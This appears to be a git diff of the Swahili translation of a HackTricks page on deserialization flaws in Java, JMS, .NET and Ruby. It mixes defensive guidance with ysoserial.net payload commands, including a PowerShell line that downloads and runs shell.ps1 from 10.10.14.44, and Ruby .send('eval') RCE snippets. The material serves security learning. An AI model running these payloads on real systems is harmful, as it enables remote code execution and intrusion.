* **RMI juu ya HTTP**: Njia hii hutumiwa kawaida na maombi ya wavuti ya mteja tajiri yanayotumia Java, yakitumia uhuishaji kwa mawasiliano yote ya vitu.
|
||||
* **RMI juu ya HTTP**: Njia hii hutumiwa kawaida na maombi ya wavuti ya mteja tajiri wa Java, kutumia uhuishaji kwa mawasiliano yote ya vitu.
|
||||
* **JMX (Java Management Extensions)**: JMX hutumia uhuishaji kwa kutuma vitu kupitia mtandao.
|
||||
* **Itifaki za Desturi**: Katika Java, mazoezi ya kawaida ni kutuma vitu vya Java moja kwa moja, ambavyo vitadhihirishwa katika mifano ya kutumia udhaifu inayokuja.
|
||||
|
||||
|
@ -505,7 +505,7 @@ private transient double margin; // declared transient
|
|||
```
|
||||
#### Epuka Ufisadi wa darasa ambalo linahitaji kutekeleza Serializable
|
||||
|
||||
Katika hali ambapo **vitu fulani lazima viwekeleze `Serializable`** kwa sababu ya mfuatano wa darasa, kuna hatari ya ufisadi usiokusudiwa. Ili kuzuia hili, hakikisha vitu hivi havitaweza kufisuliwa kwa kufafanua njia ya `final` ya `readObject()` ambayo kila wakati itatoa kosa, kama inavyoonyeshwa hapa chini:
|
||||
Katika hali ambapo **vitu fulani lazima viwekeleze `Serializable`** kwa sababu ya muundo wa darasa, kuna hatari ya kufanyika kwa ufisadi usiokusudiwa. Ili kuzuia hili, hakikisha vitu hivi havitaweza kufanyiwa ufasidi kwa kufafanua njia ya `final` ya `readObject()` ambayo kila mara itatoa kosa, kama inavyoonyeshwa hapa chini:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
|
@ -513,12 +513,12 @@ throw new java.io.IOException("Cannot be deserialized");
|
|||
```
|
||||
#### **Kuboresha Usalama wa Deserialization katika Java**
|
||||
|
||||
**Kubinafsisha `java.io.ObjectInputStream`** ni njia halisi ya kuboresha mchakato wa deserialization. Njia hii ni sahihi wakati:
|
||||
Kuzoeza `java.io.ObjectInputStream` ni njia ya vitendo ya kuboresha mchakato wa deserialization. Njia hii ni sahihi wakati:
|
||||
|
||||
* Msimbo wa deserialization uko chini ya udhibiti wako.
|
||||
* Darasa zinazotarajiwa kwa deserialization zinajulikana.
|
||||
* Madarasa yanayotarajiwa kwa deserialization yanajulikana.
|
||||
|
||||
Badilisha **`resolveClass()`** mbinu ili kuzuia deserialization kwa darasa zilizoruhusiwa pekee. Hii inazuia deserialization ya darasa lolote isipokuwa zile zilizoruhusiwa kwa uwazi, kama katika mfano ufuatao ambao unazuia deserialization hadi darasa la `Bicycle` pekee:
|
||||
Badilisha **`resolveClass()`** mbinu ili kuzuia deserialization kwa madarasa yanayoruhusiwa pekee. Hii inazuia deserialization ya darasa lolote isipokuwa yale yaliyoruhusiwa kwa uwazi, kama katika mfano ufuatao ambao unazuia deserialization kwa darasa la `Bicycle` pekee:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
|
@ -539,17 +539,17 @@ return super.resolveClass(desc);
|
|||
}
|
||||
}
|
||||
```
|
||||
**Kutumia Java Agent kwa Kuboresha Usalama** hutoa suluhisho la kurudi nyuma wakati marekebisho ya nambari hayawezekani. Mbinu hii inatumika hasa kwa **kuweka orodha nyeusi ya darasa zenye madhara**, kwa kutumia parameter ya JVM:
|
||||
**Kutumia Java Agent kwa Kuboresha Usalama** hutoa suluhisho la kurudi nyuma wakati marekebisho ya nambari hayawezekani. Njia hii inatumika hasa kwa **kupiga marufuku darasa zenye madhara**, kwa kutumia parameter ya JVM:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
Inatoa njia ya kuhakikisha deserialization kwa njia ya kudumu, bora kwa mazingira ambapo mabadiliko ya mara moja ya nambari ni ngumu.
|
||||
Inatoa njia ya kuhakikisha deserialization kwa njia ya kudumu, bora kwa mazingira ambapo mabadiliko ya mara moja ya nambari ni ngumu kutekeleza.
|
||||
|
||||
Angalia mfano katika [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
**Kutekeleza Vichungi vya Serialization**: Java 9 iliingiza vichungi vya serialization kupitia kiolesura cha **`ObjectInputFilter`**, kutoa mfumo wenye nguvu wa kueleza vigezo ambavyo vitu vilivyosanidishwa lazima vikidhi kabla ya kudeserilishwa. Vichungi hivi vinaweza kutumika kimataifa au kwa kila mtiririko, kutoa udhibiti wa kina juu ya mchakato wa deserialization.
|
||||
**Kutekeleza Vichungi vya Serialization**: Java 9 iliingiza vichungi vya serialization kupitia kiolesura cha **`ObjectInputFilter`**, ikitoa mfumo wenye nguvu wa kueleza vigezo ambavyo vitu vilivyosanidishwa lazima vikidhi kabla ya kudeserilishwa. Vichungi hivi vinaweza kutumika kwa kiwango kikubwa au kwa kila mtiririko, kutoa udhibiti wa kina juu ya mchakato wa deserialization.
|
||||
|
||||
Ili kutumia vichungi vya serialization, unaweza kuweka kichungi cha kimataifa kinachotumika kwa shughuli zote za deserialization au kuweka kwa muda kwa mtiririko maalum. Kwa mfano:
|
||||
Ili kutumia vichungi vya serialization, unaweza kuweka kichungi cha jumla kinachotumika kwa shughuli zote za deserialization au kukisakinisha kwa njia ya kudumu kwa mtiririko maalum. Kwa mfano:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
|
@ -561,11 +561,11 @@ return Status.ALLOWED;
|
|||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Kutumia Maktaba za Nje kwa Usalama Ulioboreshwa**: Maktaba kama **NotSoSerial**, **jdeserialize**, na **Kryo** hutoa huduma za juu za kudhibiti na kufuatilia deserialization ya Java. Maktaba hizi zinaweza kutoa safu za ziada za usalama, kama vile kuweka safu nyeupe au nyeusi ya madarasa, kuchambua vitu vilivyoseriwa kabla ya deserialization, na kutekeleza mikakati ya kibinafsi ya serialization.
|
||||
**Kutumia Maktaba za Nje kwa Usalama Ulioboreshwa**: Maktaba kama **NotSoSerial**, **jdeserialize**, na **Kryo** hutoa vipengele vya juu kwa udhibiti na ufuatiliaji wa deserialization ya Java. Maktaba hizi zinaweza kutoa safu za ziada za usalama, kama vile kuweka safu nyeupe au nyeusi ya madarasa, kuchambua vitu vilivyoseriwa kabla ya deserialization, na kutekeleza mikakati ya desturi ya serialization.
|
||||
|
||||
* **NotSoSerial** inazuia mchakato wa deserialization kuzuia utekelezaji wa nambari isiyotegemewa.
|
||||
* **jdeserialize** inaruhusu uchambuzi wa vitu vilivyoseriwa vya Java bila kuvifanyia deserialization, kusaidia kutambua yaliyomo yanayoweza kuwa na nia mbaya.
|
||||
* **Kryo** ni mfumo mbadala wa serialization unaozingatia kasi na ufanisi, ukitolea mikakati inayoweza kusanidiwa ya serialization inayoweza kuboresha usalama.
|
||||
* **Kryo** ni mfumo mbadala wa serialization unaozingatia kasi na ufanisi, ukitoa mikakati inayoweza kusanidiwa ya serialization inayoweza kuboresha usalama.
|
||||
|
||||
### Marejeo
|
||||
|
||||
|
@ -590,11 +590,11 @@ Pata maelezo kuhusu **Uingizaji wa JNDI, jinsi ya kutumia vibaya kupitia RMI, CO
|
|||
|
||||
## JMS - Huduma ya Ujumbe ya Java
|
||||
|
||||
> API ya **Java Message Service** (**JMS**) ni API ya Java ya kati ya ujumbe kwa kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kutatua tatizo la mtengenezaji-mteja. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilidefiniwa kupitia specifikesheni iliyoundwa na Sun Microsystems, lakini sasa inaongozwa na Java Community Process. Ni kiwango cha ujumbe kinachoruhusu vipengele vya programu zinazotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyosambazwa kuwa huru, imara, na isiyo ya moja kwa moja. (Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
> **Java Message Service** (**JMS**) API ni API ya Java ya kati ya ujumbe kwa kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kutatua tatizo la mtengenezaji-mteja. JMS ni sehemu ya Jukwaa la Java, Toleo la Biashara (Java EE), na ilidefiniwa na maelezo yaliyotengenezwa na Sun Microsystems, lakini ambayo tangu wakati huo imeongozwa na Mchakato wa Jumuiya ya Java. Ni kiwango cha ujumbe kinachoruhusu vipengele vya programu zinazotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyosambazwa kuwa huru, ya kuaminika, na ya kiasinkroni. (Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
|
||||
### Bidhaa
|
||||
|
||||
Kuna bidhaa kadhaa zinazotumia hii huduma ya kati ya ujumbe kutuma ujumbe:
|
||||
Kuna bidhaa kadhaa zinazotumia hii kati ya ujumbe kutuma ujumbe:
|
||||
|
||||
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (314).png>)
|
||||
|
||||
|
@ -602,12 +602,12 @@ Kuna bidhaa kadhaa zinazotumia hii huduma ya kati ya ujumbe kutuma ujumbe:
|
|||
|
||||
### Utekaji
|
||||
|
||||
Kwa hiyo, kimsingi kuna **huduma nyingi zinazotumia JMS kwa njia hatari**. Kwa hivyo, ikiwa una **mamlaka za kutosha** kutuma ujumbe kwa huduma hizi (kawaida utahitaji anwani halali) unaweza kuweza kutuma **vitengo vilivyoseriwa vibaya ambavyo vitadeseriwa na mtumiaji anayepokea**.\
|
||||
Hii inamaanisha kwamba katika utekaji huu **wateja wote wanaotumia ujumbe huo watapata maambukizi**.
|
||||
Kwa hiyo, kimsingi kuna **huduma nyingi zinazotumia JMS kwa njia hatari**. Kwa hivyo, ikiwa una **mamlaka za kutosha** kutuma ujumbe kwa huduma hizi (kawaida utahitaji anwani halali) unaweza kuweza kutuma **vitengo vilivyoseriwa vibaya ambavyo vitadeserialized na mtumiaji/anayesubiri**.\
|
||||
Hii inamaanisha kwamba katika utekaji huu **wateja wote wanaotumia ujumbe huo wataambukizwa**.
|
||||
|
||||
Kumbuka kwamba hata kama huduma ni dhaifu (kwa sababu inadeseriliza kuingia kwa mtumiaji kwa njia isiyokuwa salama) bado unahitaji kutafuta vitengo sahihi vya kutumia kasoro.
|
||||
Kumbuka kwamba hata ikiwa huduma ni dhaifu (kwa sababu inadeserialize kuingia kwa mtumiaji kwa njia isiyofaa) bado unahitaji kutafuta vitu vya kuchezea halali ili kutumia kasoro.
|
||||
|
||||
Zana ya [JMET](https://github.com/matthiaskaiser/jmet) iliumbwa ku **kuunganisha na kushambulia huduma hizi kwa kutuma vitengo vingi vilivyoseriwa kwa kutumia vitengo vilivyothibitishwa**. Mashambulizi haya yatafanya kazi ikiwa huduma bado ni dhaifu na ikiwa kuna kati ya vitengo vilivyotumiwa ndani ya programu dhaifu.
|
||||
Zana [JMET](https://github.com/matthiaskaiser/jmet) iliumbwa kwa **kuunganisha na kushambulia huduma hizi kwa kutuma vitengo vingi vilivyoseriwa kwa kutumia vitu vya kuchezea vilivyofahamika**. Mashambulizi haya yatafanya kazi ikiwa huduma bado ni dhaifu na ikiwa kifaa chochote kilichotumiwa kipo ndani ya programu dhaifu.
|
||||
|
||||
### Marejeo
|
||||
|
||||
|
@ -616,42 +616,42 @@ Zana ya [JMET](https://github.com/matthiaskaiser/jmet) iliumbwa ku **kuunganisha
|
|||
|
||||
## .Net
|
||||
|
||||
Katika muktadha wa .Net, mbinu za utekaji wa deserialization hufanya kazi kwa njia inayofanana na ile inayopatikana katika Java, ambapo vitengo vinatumika kutekeleza nambari maalum wakati wa deserialization ya kitu.
|
||||
### Kalamafuta
|
||||
Katika muktadha wa .Net, kasoro za deserialization hufanya kazi kwa njia inayofanana na zile zilizopatikana katika Java, ambapo vitengo vinafanyiwa shambulio ili kukimbia nambari maalum wakati wa deserialization ya kitu.
|
||||
### Alama ya Kidole
|
||||
|
||||
#### Kasha
|
||||
#### WhiteBox
|
||||
|
||||
Msimbo wa chanzo unapaswa kukaguliwa kwa matukio ya:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
Makini inapaswa kuwa kwenye wachambuzi wa data ambao huruhusu aina ya data kubainishwa na kudhibitiwa na mtumiaji.
|
||||
Makini inapaswa kuwa kwenye wachambuzi wa data ambao ruhusu aina kutambuliwa na kivinjari chini ya udhibiti wa mtumiaji.
|
||||
|
||||
#### Kasha Nyeusi
|
||||
#### BlackBox
|
||||
|
||||
Utafutaji unapaswa kulenga mfuatano wa herufi ulioandikwa kwa Base64 **AAEAAAD/////** au mfuatano wowote unaofanana ambao unaweza kufanyiwa deserialization upande wa server, ukiruhusu kudhibiti aina ya data itakayodeserialized. Hii inaweza kujumuisha, lakini sio mdogo kwa, miundo ya **JSON** au **XML** inayoonyesha `TypeObject` au `$type`.
|
||||
Utafutaji unapaswa kulenga kwenye mfuatano wa herufi ulioandikwa kwa Base64 **AAEAAAD/////** au mfano wowote unaoweza kupitia deserialization upande wa seva, ukiruhusu udhibiti juu ya aina ya kudeserialize. Hii inaweza kujumuisha, lakini sio mdogo kwa, miundo ya **JSON** au **XML** inayojumuisha `TypeObject` au `$type`.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
Katika kesi hii unaweza kutumia zana [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) ili **kuunda mashambulizi ya deserialization**. Mara baada ya kupakua hazina ya git unapaswa **kukusanya zana** kwa kutumia Visual Studio kwa mfano.
|
||||
Katika kesi hii unaweza kutumia zana [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) ili **kuunda mbinu za deserialization**. Mara baada ya kupakua hazina ya git unapaswa **kukusanya zana** kwa kutumia Visual Studio kwa mfano.
|
||||
|
||||
Ikiwa unataka kujifunza kuhusu **jinsi ysoserial.net inavyounda shambulizi lake** unaweza [**kutazama ukurasa huu ambapo inaelezwa kifaa cha ObjectDataProvider + ExpandedWrapper + mfumo wa Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
Ikiwa unataka kujifunza kuhusu **jinsi ysoserial.net inavyounda mbinu zake za kudanganya** unaweza [**kucheki ukurasa huu ambapo inaelezwa kifaa cha ObjectDataProvider + ExpandedWrapper + mfumo wa Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
Chaguo kuu za **ysoserial.net** ni: **`--gadget`**, **`--formatter`**, **`--output`** na **`--plugin`.**
|
||||
|
||||
* **`--gadget`** hutumiwa kuonyesha kifaa cha kutumia (onyesha darasa/funguo litakalotumiwa wakati wa deserialization kutekeleza amri).
|
||||
* **`--formatter`**, hutumiwa kuonyesha njia ya kuhifadhi shambulizi (unahitaji kujua ni maktaba ipi inayotumiwa nyuma ya pazia kudeserialize mzigo na kutumia hiyo hiyo kuihifadhi)
|
||||
* **`--output`** hutumiwa kuonyesha ikiwa unataka shambulizi kwa muundo wa **raw** au ulio **encoded kwa Base64**. _Tafadhali kumbuka kwamba **ysoserial.net** ita **encode** mzigo kwa kutumia **UTF-16LE** (encoding inayotumiwa kwa chaguo msingi kwenye Windows) hivyo ikiwa unapata raw na kuencode kutoka kwa konsoli ya linux unaweza kupata baadhi ya matatizo ya **utangamanifu wa encoding** ambayo itazuia shambulizi kufanya kazi ipasavyo (kwenye sanduku la JSON la HTB mzigo ulifanya kazi kwa UTF-16LE na ASCII lakini hii haimaanishi itafanya kazi kila wakati)._
|
||||
* **`--plugin`** ysoserial.net inasaidia programu-jalizi za kutengeneza **mashambulizi kwa mifumo maalum** kama ViewState
|
||||
* **`--formatter`**, hutumiwa kuonyesha njia ya kuhifadhi mbinu ya kudanganya (unahitaji kujua ni maktaba gani inayotumiwa nyuma ya pazia kudeserialize mzigo na kutumia hiyo hiyo kuihifadhi)
|
||||
* **`--output`** hutumiwa kuonyesha ikiwa unataka mbinu ya kudanganya iwe katika muundo wa **raw** au imeandikwa kwa Base64. _Tambua kwamba **ysoserial.net** ita **andika** mzigo kwa kutumia **UTF-16LE** (kodishaji inayotumiwa kwa chaguo-msingi kwenye Windows) kwa hivyo ikiwa unapata raw na tuandike kutoka kwa konsoli ya linux unaweza kupata baadhi ya matatizo ya **utangamano wa uandishi** ambayo itazuia mbinu ya kufanya kazi ipasavyo (kwenye sanduku la HTB JSON mzigo ulifanya kazi katika UTF-16LE na ASCII lakini hii haimaanishi itafanya kazi kila wakati)._
|
||||
* **`--plugin`** ysoserial.net inasaidia programu-jalizi za kutengeneza **mbinu za kudanganya kwa mifumo maalum** kama ViewState
|
||||
|
||||
#### Vigezo zaidi vya ysoserial.net
|
||||
|
||||
* `--minify` itatoa mzigo **mdogo** (ikiwezekana)
|
||||
* `--raf -f Json.Net -c "chochote"` Hii itaonyesha vifaa vyote vinavyoweza kutumiwa na mfumo wa kuhifadhi uliopewa (`Json.Net` katika kesi hii)
|
||||
* `--sf xml` unaweza **kuonyesha kifaa** (`-g`) na ysoserial.net itatafuta wachambuzi wa data wenye "xml" (bila kujali herufi kubwa au ndogo)
|
||||
* `--sf xml` unaweza **kuonyesha kifaa** (`-g`)na ysoserial.net itatafuta wachambuzi wa data wanaoendelea "xml" (bila kujali herufi kubwa au ndogo)
|
||||
|
||||
**Mifano ya ysoserial.net** ya kuunda mashambulizi:
|
||||
**Mifano ya ysoserial** ya kuunda mbinu za kudanganya:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
|
@ -670,7 +670,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
|||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** pia ina **parameter ya kuvutia sana** ambayo husaidia kuelewa vizuri jinsi kila shambulio linavyofanya kazi: `--test`\
|
||||
Ikiwa unaashiria parameter hii, **ysoserial.net** ita **jaribu** shambulio **kitaalam,** hivyo unaweza kujaribu kama mzigo wako utafanya kazi kwa usahihi.\
|
||||
Ikiwa unaashiria parameter hii, **ysoserial.net** ita **jaribu** shambulio **kwa kifaa chako,** ili uweze kujaribu kama mzigo wako utafanya kazi ipasavyo.\
|
||||
Parameter hii ni ya manufaa kwa sababu ukirejea nambari utapata vipande vya nambari kama hii ifuatayo (kutoka [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
|
@ -696,7 +696,7 @@ TypeNameHandling = TypeNameHandling.Auto
|
|||
return obj;
|
||||
}
|
||||
```
|
||||
Katika **mifano iliyopita ni dhaifu kwa shambulio lililoundwa**. Kwa hivyo, ikiwa unapata kitu kama hicho katika maombi ya .Net inamaanisha labda maombi hayo ni dhaifu pia.\
|
||||
Katika **mifano iliyopita ni dhaifu kwa shambulio lililoundwa**. Kwa hivyo ikiwa unapata kitu kama hicho katika maombi ya .Net inamaanisha labda maombi hayo pia ni dhaifu.\
|
||||
Kwa hivyo **parameter ya `--test`** inaruhusu kuelewa **vipande vipi vya nambari ni dhaifu** kwa shambulio la deserialization ambalo **ysoserial.net** inaweza kuunda.
|
||||
|
||||
### ViewState
|
||||
|
@ -712,12 +712,12 @@ Ili kupunguza hatari zinazohusiana na deserialization katika .Net:
|
|||
* **Epuka kutumia `JavaScriptSerializer` na `JavaScriptTypeResolver`.**
|
||||
* **Punguza aina zinazoweza kudeserializwa**, ukiwa na ufahamu wa hatari zilizojumuishwa na aina za .Net, kama vile `System.IO.FileInfo`, ambayo inaweza kurekebisha mali za faili za seva, ikisababisha mashambulizi ya kukataa huduma.
|
||||
* **Kuwa mwangalifu na aina zenye mali zenye hatari**, kama `System.ComponentModel.DataAnnotations.ValidationException` na mali yake ya `Value`, ambayo inaweza kutumiwa vibaya.
|
||||
* **Kudhibiti kwa usalama uanzishaji wa aina** ili kuzuia wachomaji kutoka kuathiri mchakato wa deserialization, hata `DataContractSerializer` au `XmlSerializer` inaweza kuwa dhaifu.
|
||||
* **Kudhibiti kwa usalama uanzishaji wa aina** ili kuzuia wachawi kuingilia mchakato wa deserialization, hata `DataContractSerializer` au `XmlSerializer` inaweza kuwa dhaifu.
|
||||
* **Tumia udhibiti wa orodha nyeupe** kwa kutumia `SerializationBinder` ya desturi kwa `BinaryFormatter` na `JSON.Net`.
|
||||
* **Baki na habari kuhusu vifaa vya deserialization visivyo salama** ndani ya .Net na hakikisha deserializers hawazindui aina kama hizo.
|
||||
* **Tenganisha nambari zenye hatari** kutoka kwa nambari yenye ufikiaji wa mtandao ili kuepuka kufunua vifaa vilivyofahamika, kama vile `System.Windows.Data.ObjectDataProvider` katika maombi ya WPF, kwa vyanzo vya data visivyoaminika.
|
||||
* **Baki na habari kuhusu vifaa vya deserialization visivyo salama vilivyofahamika** ndani ya .Net na hakikisha deserializers hawazindui aina kama hizo.
|
||||
* **Tenganisha nambari zenye hatari** kutoka kwa nambari yenye ufikiaji wa mtandao ili kuepuka kufunua vifaa vilivyofahamika, kama vile `System.Windows.Data.ObjectDataProvider` katika maombi ya WPF, kwa vyanzo vya data ambavyo haviaminiki.
|
||||
|
||||
### **Vyanzo**
|
||||
### **Marejeo**
|
||||
|
||||
* Karatasi ya deserialization ya JSON ya Java na .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** mazungumzo: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) na slaidi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
||||
|
@ -726,7 +726,7 @@ Ili kupunguza hatari zinazohusiana na deserialization katika .Net:
|
|||
|
||||
## **Ruby**
|
||||
|
||||
Katika Ruby, uhuishaji unaruhusiwa na njia mbili ndani ya maktaba ya **marshal**. Njia ya kwanza, inayoitwa **dump**, hutumiwa kubadilisha kitu kuwa mtiririko wa byte. Mchakato huu unaitwa uhuishaji. Kinyume chake, njia ya pili, **load**, hutumiwa kurejesha mtiririko wa byte kuwa kitu, mchakato unaoitwa deserialization.
|
||||
Katika Ruby, uhuishaji unaruhusiwa na njia mbili ndani ya maktaba ya **marshal**. Njia ya kwanza, inayoitwa **dump**, hutumiwa kubadilisha kitu kuwa mtiririko wa byte. Mchakato huu huitwa uhuishaji. Kinyume chake, njia ya pili, **load**, hutumiwa kurejesha mtiririko wa byte kuwa kitu, mchakato unaoitwa deserialization.
|
||||
|
||||
Kwa kuhakikisha vitu vilivyohuishwa, **Ruby hutumia HMAC (Hash-Based Message Authentication Code)**, ikidhibitisha uadilifu na uhalali wa data. Kichwa kinachotumiwa kwa kusudi hili kimehifadhiwa katika moja ya maeneo kadhaa yanayowezekana:
|
||||
|
||||
|
@ -806,8 +806,45 @@ require "base64"
|
|||
puts "Payload (Base64 encoded):"
|
||||
puts Base64.encode64(payload)
|
||||
```
|
||||
Mnyororo mwingine wa RCE kwa kufaidika na Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
RCE nyingine ya kutumia Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
### Ruby .send() method
|
||||
|
||||
Kama ilivyoelezwa katika [**ripoti hii ya udhaifu**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), ikiwa baadhi ya data isiyo salama ya mtumiaji inafikia `.send()` method ya kitu cha ruby, method hii inaruhusu **kuita method nyingine** ya kitu na paramita yoyote.
|
||||
|
||||
Kwa mfano, kuita eval na kisha code ya ruby kama paramita ya pili itaruhusu kutekeleza code ya kiholela:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Zaidi ya hayo, ikiwa tu moja kati ya paramita ya **`.send()`** inadhibitiwa na mshambuliaji, kama ilivyotajwa katika andiko lililopita, inawezekana kuita njia yoyote ya kitu ambayo **haipaswi kupokea hoja** au ambayo hoja zake zina **thamani za msingi**.\
|
||||
Kwa hili, inawezekana kuchunguza njia zote za kitu ili **kupata njia zenye kuvutia ambazo zinakidhi mahitaji hayo**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
# This code is taken from the original blog post
|
||||
# <Object> in this case is Repository
|
||||
## Find methods with those requirements
|
||||
repo = Repository.find(1) # get first repo
|
||||
repo_methods = [ # get names of all methods accessible by Repository object
|
||||
repo.public_methods(),
|
||||
repo.private_methods(),
|
||||
repo.protected_methods(),
|
||||
].flatten()
|
||||
|
||||
repo_methods.length() # Initial number of methods => 5542
|
||||
|
||||
## Filter by the arguments requirements
|
||||
candidate_methods = repo_methods.select() do |method_name|
|
||||
[0, -1].include?(repo.method(method_name).arity())
|
||||
end
|
||||
candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
@ -816,8 +853,8 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
@ -19,13 +19,13 @@ Njia nyingine za kusaidia HackTricks:
|
|||
